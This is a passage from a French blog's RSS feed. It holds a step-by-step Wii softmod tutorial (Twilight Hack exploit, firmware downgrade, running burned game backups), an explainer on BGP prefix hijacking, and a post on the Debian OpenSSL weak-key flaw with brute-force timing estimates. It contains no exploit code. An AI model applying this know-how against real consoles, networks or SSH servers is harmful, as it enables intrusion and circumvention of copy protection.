href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_2.jpg"><img class="alignnone size-thumbnail wp-image-451" title="wiipatchtuto_2" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_2-430x125.jpg" alt="wiipatchtuto_2" width="430" height="125" /></p><p></a></li><li>Après avoir appuyez sur &laquo;&nbsp;<strong>A+B</strong>&nbsp;&raquo; choisissez la sauvegarde nommée &laquo;&nbsp;<strong>Twilight Hack</strong>&laquo;&nbsp;,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_3.jpg"><img class="alignnone size-thumbnail wp-image-452" title="wiipatchtuto_3" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_3-430x125.jpg" alt="wiipatchtuto_3" width="430" height="125" /></p><p></a></li><li>Une fois dans le jeu , reculez de quelques pas, ou allez parler à la personne en face de vous,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_4.jpg"><img class="alignnone size-thumbnail wp-image-453" title="wiipatchtuto_4" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_4-430x125.jpg" alt="wiipatchtuto_4" width="430" height="125" /></p><p></a></li><li>Votre écran devient noir avec plusieurs phrases en blanche,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_5.jpg"><img class="alignnone size-thumbnail wp-image-454" title="wiipatchtuto_5" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_5-430x125.jpg" alt="wiipatchtuto_5" width="430" height="125" /></p><p></a></li><li>suivez les instructions ;<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_6.jpg"><img class="alignnone size-thumbnail wp-image-455" title="wiipatchtuto_6" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_6-430x125.jpg" alt="wiipatchtuto_6" width="430" height="125" /></p><p></a></li><li>votre Wii redémarre et vous avez une nouvelle chaine sur votre menu Wii qui se     nomme &nbsp;&raquo;<strong>the homebrew channel</strong>&laquo;&nbsp;,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_7.jpg"><img class="alignnone size-thumbnail wp-image-456" title="wiipatchtuto_7" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_7-430x125.jpg" alt="wiipatchtuto_7" width="430" height="125" /></p><p></a></li><li>La chaîne est désormais installée.<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_8.jpg"><img class="alignnone size-thumbnail wp-image-457" title="wiipatchtuto_8" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_8-430x125.jpg" alt="wiipatchtuto_8" width="430" height="125" /></a></li></ul><li><h2>3. Si votre Wii est en firmware 3.3E ou 3.4E, il va falloir le ‘downgrader’, en 3.2E, sinon, passez directement a l’étape 4.</h2><p>Pour cette étape, votre Wii devra être connecté à Internet pour deux raisons: La mise à jours de la chaîne Homebrew et le téléchargement du firmware 3.2E.</li><ul><li>Lancez la chaîne &laquo;&nbsp;<strong>the homebrew channel</strong>&laquo;&nbsp; (La chaîne va chercher une mise à jour, n&#8217;hésitez pas à l&#8217;appliquer),<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_9.jpg"><img class="alignnone size-thumbnail wp-image-458" title="wiipatchtuto_9" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_9-430x125.jpg" alt="wiipatchtuto_9" width="430" height="125" /></p><p></a></li><li>Lancez &laquo;&nbsp;<strong>Wad Manager v1.3</strong>&laquo;&nbsp;,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_10.jpg"><img class="alignnone size-thumbnail wp-image-461" title="wiipatchtuto_10" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_10-430x125.jpg" alt="wiipatchtuto_10" width="430" height="125" /></p><p></a></li><li>installez &laquo;&nbsp;<strong>IOS16-64-v257-prod.wad</strong>&nbsp;&raquo; avec la touche &laquo;&nbsp;<strong>+</strong>&laquo;&nbsp;,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_11.jpg"><img class="alignnone size-thumbnail wp-image-462" title="wiipatchtuto_11" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_11-430x125.jpg" alt="wiipatchtuto_11" width="430" height="125" /></p><p></a></li><li>Revenez à la chaîne &laquo;&nbsp;<strong>the homebrew channel</strong>&laquo;&nbsp;, lancez &laquo;&nbsp;<strong>Wad Manager IOS 16</strong>&nbsp;&raquo; et installez &laquo;&nbsp;CIOS Fix&nbsp;&raquo;,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_12.jpg"><img class="alignnone size-thumbnail wp-image-463" title="wiipatchtuto_12" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_12-430x125.jpg" alt="wiipatchtuto_12" width="430" height="125" /></p><p></a></li><li>Revenez à la chaîne &laquo;&nbsp;<strong>the homebrew channel</strong>&laquo;&nbsp;, lancez &laquo;&nbsp;<strong>Cios-Downgrader</strong>&nbsp;&raquo; pour downgrader votre Wii en <strong>3.2E (le E est très important, il signifie Européen)</strong>,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_13.jpg"><img class="alignnone size-thumbnail wp-image-464" title="wiipatchtuto_13" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_13-430x125.jpg" alt="wiipatchtuto_13" width="430" height="125" /></p><p></a></li><li>Revenez à la chaîne &nbsp;&raquo;<strong>the homebrew channel</strong>&nbsp;&raquo; et enfin, lancez &laquo;&nbsp;<strong>IOS Downgrader V1</strong>&laquo;&nbsp;.</li></ul><li><h2>4. Installation du cIOS 0.3 Gamma de Wiigator.</h2></li><ul><li>Lancez la chaîne &laquo;&nbsp;<strong>the homebrew channel</strong>&laquo;&nbsp;, lançez &laquo;&nbsp;<strong>cIOS Rev7</strong>&laquo;&nbsp;,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_14.jpg"><img class="alignnone size-thumbnail wp-image-465" title="wiipatchtuto_14" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_14-430x125.jpg" alt="wiipatchtuto_14" width="430" height="125" /></p><p></a></li><li>Choisissez &laquo;&nbsp;<strong>wad installation</strong>&nbsp;&raquo; (ou &laquo;&nbsp;network&nbsp;&raquo; pour avoir la dernière mise à jours, si vous êtes connecté en wifi), suivez les indications, en sachant que le bouton 1 de la wiimote correspond à &laquo;&nbsp;accept&nbsp;&raquo;, le 2 à &laquo;&nbsp;cancel&nbsp;&raquo;,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_15.jpg"><img class="alignnone size-thumbnail wp-image-466" title="wiipatchtuto_15" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_15-430x125.jpg" alt="wiipatchtuto_15" width="430" height="125" /></p><p></a></li><li>Sélectionnez le firmware 3.2E et installez le (la liste continue vers le bas, il suffit de descendre&#8230;),<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_16.jpg"><img class="alignnone size-thumbnail wp-image-467" title="wiipatchtuto_16" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_16-430x125.jpg" alt="wiipatchtuto_16" width="430" height="125" /></p><p></a></li><li>Une fois terminée , revenez sur la chaîne the homebrew channel, lancez &laquo;&nbsp;<strong>Channel File Manager 2.0 beta 2</strong>&laquo;&nbsp;,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_17.jpg"><img class="alignnone size-thumbnail wp-image-468" title="wiipatchtuto_17" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_17-430x125.jpg" alt="wiipatchtuto_17" width="430" height="125" /></p><p></a></li><li>Suivez les instructions et installez le fichier &laquo;&nbsp;<strong>[Chaîne] Backup Launcher 0.3 Gamma Autoboot</strong>&laquo;&nbsp;,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_18.jpg"><img class="alignnone size-thumbnail wp-image-469" title="wiipatchtuto_18" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_18-430x125.jpg" alt="wiipatchtuto_18" width="430" height="125" /></p><p></a></li><li>Vous avez désormais une nouvelle chaîne sur votre menu Wii , celle-ci permet de lancer les backups sur votre Wii, vous pouvez relancer la &laquo;&nbsp;channel file manager&nbsp;&raquo; pour installer toutes les applications wad dont vous aurez besoin (ex: dans le pack, il y a un lecteur audio/video, &laquo;&nbsp;Mplayer&nbsp;&raquo;).</li></ul><li><h2>3. Installation de la protection contre le brick et les mises à jours automatiques de votre Wii.</h2></li><p>(Optionnelle , uniquement pour les Wii en 3.2E , empêche les mises à jours automatique de Nintendo)</p><ul><li>Allez dans la chaîne &laquo;&nbsp;the homebrew channel&nbsp;&raquo;, lancez &laquo;&nbsp;Starfall&nbsp;&raquo;,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_19.jpg"><img class="alignnone size-thumbnail wp-image-470" title="wiipatchtuto_19" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_19-430x125.jpg" alt="wiipatchtuto_19" width="430" height="125" /></p><p></a></li><li>appuyez simultanément sur &laquo;&nbsp;B+1&#8243; et pas &laquo;&nbsp;B+2&#8243; (C&#8217;est une erreur de programmeur),<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_20.jpg"><img class="alignnone size-thumbnail wp-image-471" title="wiipatchtuto_20" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_20-430x125.jpg" alt="wiipatchtuto_20" width="430" height="125" /><br /> </a></li><li>Un nouveau menu apparait, sélectionnez les 3 dernières options et appuyez sur avec &laquo;&nbsp;A&nbsp;&raquo; avec chacune d&#8217;elle pour que ça affiche &laquo;&nbsp;Install&nbsp;&raquo;,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_21.jpg"><img class="alignnone size-thumbnail wp-image-472" title="wiipatchtuto_21" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_21-430x125.jpg" alt="wiipatchtuto_21" width="430" height="125" /><br /> </a></li><li>Une fois que les 3 dernières options ont été appliquées , appuyez sur &laquo;&nbsp;2&#8243;,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_22.jpg"><img class="alignnone size-thumbnail wp-image-473" title="wiipatchtuto_22" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_22-430x125.jpg" alt="wiipatchtuto_22" width="430" height="125" /><br /> </a></li><li>Éteignez votre Wii, Branchez votre manette Gamecube,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_23.jpg"><img class="alignnone size-thumbnail wp-image-474" title="wiipatchtuto_23" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_23-430x125.jpg" alt="wiipatchtuto_23" width="430" height="125" /><br /> </a></li><li>Allumez votre Wii en maintenant appuyer le bouton &laquo;&nbsp;Y&nbsp;&raquo; de la manette, Un écran noir s&#8217;affiche indiquant &laquo;&nbsp;3.2E&nbsp;&raquo;,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_24.jpg"><img class="alignnone size-thumbnail wp-image-475" title="wiipatchtuto_24" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_24-430x125.jpg" alt="wiipatchtuto_24" width="430" height="125" /><br /> </a></li><li>L&#8217;installation de la protection contre le brick de votre Wii est terminée.</li></ul><li><h2>4. Questions/Réponses</h2></li><li><strong>1. Comment graver mes jeux ?</strong></li><p>Utilisez la fonction ‘graver l’image’ de votre logiciel préfère (pas de problème avec imgburn ou nero). Lancez la gravure a la vitesse la plus basse possible, et uniquement sur des DVD -R2. Comment jouer à mes backups ?<br /> - Lancez la chaîne &laquo;&nbsp;Backup Channel&nbsp;&raquo;,<br /> - Faîtes &laquo;&nbsp;Demarrer&nbsp;&raquo;.</p><li><strong>2. J&#8217;ai une erreur &laquo;&nbsp;file boot.dol not found (-1)&nbsp;&raquo; lors de l&#8217;exploit du twilight hack, que faire ?</strong></li><p>- Utilisez les packs disponibles ici, ils sont cohérent, si vous en utilisez d&#8217;autres je ne pourrais sûrement pas vous aider.<br /> - Vérifiez que vôtre carte SD est bien formatée en FAT32 (voir FAT16).<br /> - Si vôtre carte SD fait plus de 2Go ou qu&#8217;elle est SDHC, cela peu poser des problèmes.. essayez avec une autre.</p><li><strong>3. Comme tout désinstaller pour que ma Wii redevienne comme avant ?</strong></li><p>- Mettez votre carte SD dans votre Wii,<br /> - Lancez la chaîne &laquo;&nbsp;the homebrew channel&nbsp;&raquo;,<br /> - Lancez &laquo;&nbsp;Channel File Manager 2.0 beta 2&#8243;,<br /> - Suivez les instructions pour désinstaller le fichier &laquo;&nbsp;[Chaine] Backup Launcher 0.3 Gamma Autoboot&nbsp;&raquo;.<br /> - Revenez à la chaîne &laquo;&nbsp;the homebrew channel&nbsp;&raquo;,<br /> - Lancez &laquo;&nbsp;cIOS Uninstaller&nbsp;&raquo;,<br /> - Revenez au menu Wii,<br /> - Allez dans : &laquo;&nbsp;(Wii)&nbsp;&raquo; [En bas à gauche] &#8211;&gt; &laquo;&nbsp;Gestion des données&nbsp;&raquo; &#8211;&gt; &laquo;&nbsp;Données de sauvegarde&nbsp;&raquo; &#8211;&gt; &laquo;&nbsp;Wii&nbsp;&raquo; &#8211;&gt; Supprimez la sauvegarde ‘Twilight Hack’,<br /> - Allez dans : &laquo;&nbsp;(Wii)&nbsp;&raquo; [En bas à gauche] &#8211;&gt; &laquo;&nbsp;Gestion des données&nbsp;&raquo; &#8211;&gt; &laquo;&nbsp;Chaînes&nbsp;&raquo; &#8211;&gt; Supprimez la chaîne &laquo;&nbsp;the homebrew channel&nbsp;&raquo;,<br /> - Faites un formatage de votre Wii,<br /> - Votre wii est comme neuve.</p><li><strong>4. Que faire si ma Wii est brickée ?</strong></li><p>- Mettez la carte SD dans votre Wii,<br /> - Éteignez votre Wii,<br /> - Branchez votre manette Gamecube,<br /> - Allumez votre wii en maintenant le bouton &laquo;&nbsp;Y&nbsp;&raquo; appuyé,<br /> - Lancez la sauvegarde &laquo;&nbsp;Twilight Hack&nbsp;&raquo;,<br /> - Parlez à la personne en face de vous,<br /> - Suivez les instructions,<br /> - Downgradez ou Upgradez votre console en la version désiré mais en version &laquo;&nbsp;E&nbsp;&raquo;,<br /> - Votre Wii est désormais réparée.</p> ]]></content:encoded> <wfw:commentRss>http://www.crashdump.fr/tout-et-rien/lire-les-jeux-graves-sur-une-wii-methode-logicielle-446/feed/</wfw:commentRss> <slash:comments>169</slash:comments> </item> <item><title>Protocole BGP, l&#8217;Internet en danger ?</title><link>http://www.crashdump.fr/securite/protocole-bgp-linternet-en-danger-316/</link> <comments>http://www.crashdump.fr/securite/protocole-bgp-linternet-en-danger-316/#comments</comments> <pubDate>Fri, 29 Aug 2008 14:50:50 +0000</pubDate> <dc:creator>Crashdump</dc:creator> <category><![CDATA[Réseaux]]></category> <category><![CDATA[Sécurité]]></category> <category><![CDATA[Alex Pilosov]]></category> <category><![CDATA[Anton Kapela]]></category> <category><![CDATA[BGP]]></category> <category><![CDATA[Border gateway protocol]]></category> <category><![CDATA[chine]]></category> <category><![CDATA[détournement d'adresse]]></category> <category><![CDATA[defcon]]></category> <category><![CDATA[Echellon]]></category> <category><![CDATA[faille]]></category> <category><![CDATA[hacker]]></category> <category><![CDATA[hijacking]]></category> <category><![CDATA[Internet]]></category> <category><![CDATA[IP]]></category> <category><![CDATA[NSA]]></category> <category><![CDATA[Pakistan Telecom]]></category> <category><![CDATA[pirate]]></category> <category><![CDATA[routeur]]></category> <category><![CDATA[table routage]]></category> <category><![CDATA[trafic]]></category> <category><![CDATA[youtube]]></category><guid isPermaLink="false">http://www.crashdump.fr/?p=316</guid> <description><![CDATA[<p><img width="240" height="150" src="http://www.crashdump.fr/wp-content/uploads/2008/08/cisco.jpg" class="attachment-featured-image wp-post-image" alt="cisco" title="cisco" /></p><br />Introduction Le BGP (Border gateway protocol) est un protocole d&#8217;échange de route utilisée &#8211; entre autres &#8211; sur Internet. Son objectif est d&#8217;échanger des réseaux avec les routeurs voisins pour établir des tables de routage dynamiques : Les routeurs s&#8217;échangent des informations sur les réseaux qu&#8217;ils connaissent et sur le moyen de les atteindre. Petit [...]]]></description> <content:encoded><![CDATA[<p><img width="240" height="150" src="http://www.crashdump.fr/wp-content/uploads/2008/08/cisco.jpg" class="attachment-featured-image wp-post-image" alt="cisco" title="cisco" /></p><br /><li><h3>Introduction</h3></li><p>Le BGP (Border gateway protocol) est un protocole d&#8217;échange de route utilisée &#8211; entre autres &#8211; sur Internet. Son objectif est d&#8217;échanger des réseaux avec les routeurs voisins pour établir des tables de routage dynamiques : Les routeurs s&#8217;échangent des informations sur les réseaux qu&#8217;ils connaissent et sur le moyen de les atteindre.</p><li><h3>Petit rappel sur le routage</h3></li><p>Pour communiquer avec une autre machine, le système suis la table de routage. (On peut l&#8217;afficher sur quasiment tous les Unix avec &laquo;&nbsp;netstat -rn&nbsp;&raquo;, avec &laquo;&nbsp;route -n&nbsp;&raquo; sur Linux ou encore &laquo;&nbsp;route -n show&nbsp;&raquo; sur NetBSD. Prenons un exemple :<br /> <span id="more-316"></span><br /> Imaginons un routeur ayant la table de routage suivante :</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">192.168.10.0 192.168.10.254 255.255.255.0 UG 0 0 0 eth0<br /> 192.168.20.0 192.168.20.254 255.255.255.0 UG 0 0 0 eth0<br /> 192.168.30.0 192.168.30.254 255.255.255.0 UG 0 0 0 eth0</div></td></tr></tbody></table></div><p>Et dont les paquets doivent être envoyés à la destination de 192.168.20.37 : Ils seront envoyés tout d&#8217;abord à 192.168.20.254 qui les fera suivre. Faisons un traceroute pour le vérifier:</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">traceroute to 192.168.20.37 (192.168.20.37), 64 hops max, 40 byte packets<br /> 1 192.168.20.254 1 ms 0 ms 0 ms<br /> 2 192.168.20.37 1 ms 1 ms 1 ms</div></td></tr></tbody></table></div><p>On voit bien dans cet exemple la manière dont les paquets arrivent à destination. Seulement ici nous sommes dans le cadre d&#8217;un petit réseau, imaginez la même chose à la hauteur d&#8217;un réseau comme internet&#8230;</p><li><h3>Introduction à BGP</h3></li><p>La plupart des connexions vers Internet à partir d&#8217;une résidence ou au bureau sont réalisées par un routing statique, c&#8217;est-à-dire qu&#8217;il n&#8217;existe qu&#8217;une seule route, celle vers votre FAI (Fournisseur d&#8217;accès a Internet). Mais après cela, Internet est un maillage de réseaux. Cela signifie que plusieurs chemins existent entre deux réseaux d&#8217;extrémité. Et ceux-ci ne sont pas tous équivalents&#8230;</p><p>En se servant du protocole de routing BGP et à condition de disposer de deux connexions ou plus vers Internet, on peut décider de façon dynamique d&#8217;envoyer un certain type de traffic par une connexion et un autre type de trafic par une autre connexion. En effet, imaginez votre connexion à crashdump.fr circulant dans cette univers cruel et barbare qu&#8217;est Internet. Vous préférerez peut être qu&#8217;ils transitent par tel AS, car l&#8217;admin est un pote ou que vous avez négocié un tarif avantageux. Vous refuserez peut-être qu&#8217;ils transitent par un autre AS, car vos flux sont incompatibles avec la législation en vigueur dans le pays ou pour toute autre considération politique (nldr: Chine), économique ou de sécurité que l&#8217;on peut imaginer. Dans ce cas, vous aurez besoin de définir une politique de routage sur Internet. BGP sert a cela.</p><li><h3>Le problème&#8230;</h3></li><p>Le 24 février 2008, YouTube a été indisponible pendant deux heures environs. Ce n&#8217;était pas une panne, mais le résultat d&#8217;une action (délibérée ?) en provenance du Pakistan. Le gouvernement (du Pakistan) a annoncé ce jour là, un blocage de YouTube. Pakistan Telecom à donc exécuté l&#8217;ordre. Ce qui est rigolo (ou pas..) c&#8217;est que par incompétence ou bien par volonté de tester, ils ont réussi à couper YouTube sur l&#8217;ensemble de la planète.</p><p>La technique est très banale (ou du moins, connue) et des tas de gens l&#8217;ont déjà exploité. On appelle ça l&#8217;IP hijacking (détournement d&#8217;adresse) et ça consiste à annoncer une route plus spécifique, pour les adresses IP de la victime comme je vous l&#8217;ai expliqué plus haut, grâce au BGP. Oui, très peu d&#8217;entre eux limitent ce qu&#8217;on peut annoncer. N&#8217;importe quel routeur BGP de l&#8217;Internet peut tout à coup se mettre à dire « Envoyez tous les paquets IP à destination de x.x.x.0/24 &#8211; vers moi ». Cette annonce aura même la priorité sur celle du propriétaire légitime, car elle est plus spécifique (la longueur du préfixe est de 24 bits, contre par exemple 22 pour l&#8217;annonce légitime. Ici vous me dites : « Il n&#8217;y a qu&#8217;à authentifier le pair BGP en face ! ». Non, cela ne sert à rien puisque ça ne garantit pas qu&#8217;il aura, lui-même, authentifié ses propres pairs.</p><p>Ce problème est connu et ce depuis longtemps et devrait, logiquement, susciter plus d&#8217;inquiétudes pour la sécurité et la stabilité de l&#8217;Internet. Ce n&#8217;est pas facile à résoudre, le problème n&#8217;étant pas technique mais politique et organisationnel. Ce ne sont donc pas les solutions techniques qui manquent (Ex : Secure BGP, soBGP). Rien ne sert d&#8217;installer une alarme ultra sophistiquée sur votre voiture si vous prêtez les clés a tout le monde.</p><li><h3>La nouvelle découverte:</h3></li><p>Alex Pilosov et Anton Kapela ont dit, lors du DefCon 16 (2008):</p><blockquote><p>- Everyone &#8230; has assumed until now that you have to break something for a hijack to be useful.<br /> - But what we showed here is that you don&#8217;t have to break anything. And if nothing breaks, who notices?</p></blockquote><p>Entendez par là :</p><p>- Tout le monde est d&#8217;accord sur le fait que, jusqu&#8217;à présent, vous étiez obligé de casser quelque chose pour faire un détournement d&#8217;adresse efficace. (Et donc faire du &laquo;&nbsp;bruit&nbsp;&raquo;).<br /> - Mais ce que nous avons montré ici est différent : Si rien n&#8217;est cassé, qui le remarquera ?</p><p>Le type d&#8217;attaque qu&#8217;ils ont démontré est d&#8217;un type nouveau, car elle permet d&#8217;écouter les flux d&#8217;autrui sans être propriétaire du réseau normalement emprunté et surtout sans être repérable !<br /> Pourquoi rien n&#8217;a été fait avant ? Deux raisons : Personne n&#8217;avais jamais démontré qu&#8217;il était possible de faire ce que ces deux jeunes pirates on fait ce jour-là. L&#8217;autre, pire encore : l&#8217;argent. Comme je vous l&#8217;ai expliqué tout à l&#8217;heure, en théorie le problème est bien connu des gouvernements et des agences de sécurité gouvernementales, mais cela coûterait très cher &#8211; en temps et en argent &#8211; de mettre en place une solution plus sûre&#8230; du moins pour le moment !</p><p>On pourrait même penser que la situation n&#8217;évolue pas, car elle pourrait permettre aux agences comme la NSA (Big B, Echellon) ou les équivalents d&#8217;autres pays, d&#8217;écouter le trafic mondial très facilement&#8230; Pire, là où un hacker avec peu de moyens ne pourrait pas traiter toutes ces informations, un pays devrait être moins limité.</p> ]]></content:encoded> <wfw:commentRss>http://www.crashdump.fr/securite/protocole-bgp-linternet-en-danger-316/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item><title>Faille SSL Debian (RGN)</title><link>http://www.crashdump.fr/debian/faille-ssl-debian-rgn-147/</link> <comments>http://www.crashdump.fr/debian/faille-ssl-debian-rgn-147/#comments</comments> <pubDate>Mon, 26 May 2008 18:51:35 +0000</pubDate> <dc:creator>Crashdump</dc:creator> <category><![CDATA[Debian]]></category> <category><![CDATA[Réseaux]]></category> <category><![CDATA[Sécurité]]></category> <category><![CDATA[bug]]></category> <category><![CDATA[DSA]]></category> <category><![CDATA[faille]]></category> <category><![CDATA[Luciano Bello]]></category> <category><![CDATA[Manitoba]]></category> <category><![CDATA[OpenSSL]]></category> <category><![CDATA[prng]]></category> <category><![CDATA[random]]></category> <category><![CDATA[RSA]]></category> <category><![CDATA[ssh]]></category> <category><![CDATA[vulnerabilité]]></category><guid isPermaLink="false">http://blog.crashdump.fr/?p=147</guid> <description><![CDATA[Le 13 Mai 2008, Le projet Debian annonçais ce que Luciano Bello avais trouvé: Une vulnérabilité dans le package &#171;&#160;OpenSSL&#160;&#187;. Le bug en question est causé par la suppression pure et simple du code suivant dans md_rand.c: 123MD_Update(&#38;m,buf,j); [ .. ] MD_Update(&#38;m,buf,j); /* purify complains */ Ces lignes ont été retirée parce qu&#8217;elle produisait des [...]]]></description> <content:encoded><![CDATA[<p>Le 13 Mai 2008, Le projet Debian annonçais ce que Luciano Bello avais trouvé: Une vulnérabilité dans le package &laquo;&nbsp;OpenSSL&nbsp;&raquo;. Le bug en question est causé par la suppression pure et simple du code suivant dans md_rand.c:</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">MD_Update(&amp;m,buf,j);<br /> [ .. ]<br /> MD_Update(&amp;m,buf,j); /* purify complains */</div></td></tr></tbody></table></div><p>Ces lignes ont été retirée parce qu&#8217;elle produisait des erreurs avec certains outils (Utilisation d&#8217;une donnée non initialisée dans la plupart des projets liés a OpenSSL). Mais la suppression de des lignes en question à eu des effets collatéraux sur OpenSSL PRNG. En fait au lieux de mélanger différentes variables aléatoire pour la génération initiale, la seule variable &laquo;&nbsp;aléatoire&nbsp;&raquo; qui a été utilisée étais le PID du générateur -et quand on sais que le nombre maximal par défaut sous linux est de 32,768- le résultat est que PRNG utilise une très petite fourchette de valeurs initiales.<br /> <span id="more-147"></span></p><h2><li>Impact:</li></h2><p>Toutes les clés SSL et SSH générées sur des systèmes basé sur Debian (Ubuntu, Debina, Mint&#8230;) entre Septembre 2006 et le 13 Mai 2008 sont affectée par la vulnérabilité. Dans le cas des clé SSL, tout les certificats doivent être révoqué et a nouveau généré. Tous les administrateurs système doivent auditer leurs clés pour être sur qu&#8217;ils ne sont pas touché par la vulnérabilité ! D&#8217;ailleurs tout les outils liés de près ou de loin a OpenSSL PRNG peut être vulnérable, attention.</p><p>Tout flux d&#8217;un serveur SSH qui utilise une clé générée par un système vulnérable peut être sujet a une interception (man in the middle) sans que l&#8217;administrateur ne se rende compte de rien. Je vous rassure, les projets Debian et Ubuntu on développé des outils pour identifier les clé vulnérables, vous trouverez plus d&#8217;information a leurs propos en fin de page.</p><p>Q: Combien de temps cela prendrais de générer toutes les clés touchées ?<br /> A: Avec 31 Xeon @ 2.33Ghz. Cela prend deux heures pour les clés DSA 1024-bit et RSA 2048-bit pour x86. Les clés RSA 4096-bit sont générés en 6 heures. En ce qui concerne les clés RSA 8192-bit cela prendrais environs 100 heures.</p><p>Q: Combien de temps cela prendrait il de cracker un SSH avec ces clés ?<br /> A: Tout dépend de la vitesse du réseau et de la configuration du serveur SSH. Il devrait être possible d&#8217;essayer toutes les clés (32,767 DSA 1024 et RSA 2048) en quelques heures. Attentions aux scripts tels que Fail2Ban (anti-bruteforce).. etc.</p><p>Q: J&#8217;utilise une clé RSA 16384 bit, suis-je vulnérable ?<br /> A: Oui, c&#8217;est juste une question de temps (processeur et réseau). Pour le RSA 8192 bit, cela prend environ 3100 heures pour générer toutes les clés. J&#8217;imagine que pour le 16384 bit, nous serions dans les 100,000 heures (en temps CPU). Mais gardez en tête que la &laquo;&nbsp;fourchette&nbsp;&raquo; réele est bien plus mince, basée sur PID du processus qui a servit a générer le tout. Donc, inutile de générer toutes les clé pour en couvrir la majorité ! (La plupart de ces clés sont dans les premiers 3,000 PID)..</p><p><a rel="nofollow" href="http://www.debian.org/security/key-rollover/">http://www.debian.org/security/key-rollover/</a><br /> <a rel="nofollow" href="http://wiki.debian.org/SSLkeys">http://wiki.debian.org/SSLkeys</a></p><p><a href='http://www.crashdump.fr/wp-content/uploads/2008/05/random_number.png'><img src="http://www.crashdump.fr/wp-content/uploads/2008/05/random_number-250x144.png" alt="" title="random_number" width="250" height="144" class="alignnone size-thumbnail wp-image-148" /></a></p> ]]></content:encoded> <wfw:commentRss>http://www.crashdump.fr/debian/faille-ssl-debian-rgn-147/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Mettre a jour une Debian Dedibox: Exploit root vmsplice</title><link>http://www.crashdump.fr/debian/mettre-a-jour-le-kernel-dun-debian-dedibox-exploit-root-vmsplice-69/</link> <comments>http://www.crashdump.fr/debian/mettre-a-jour-le-kernel-dun-debian-dedibox-exploit-root-vmsplice-69/#comments</comments> <pubDate>Thu, 14 Feb 2008 08:02:56 +0000</pubDate> 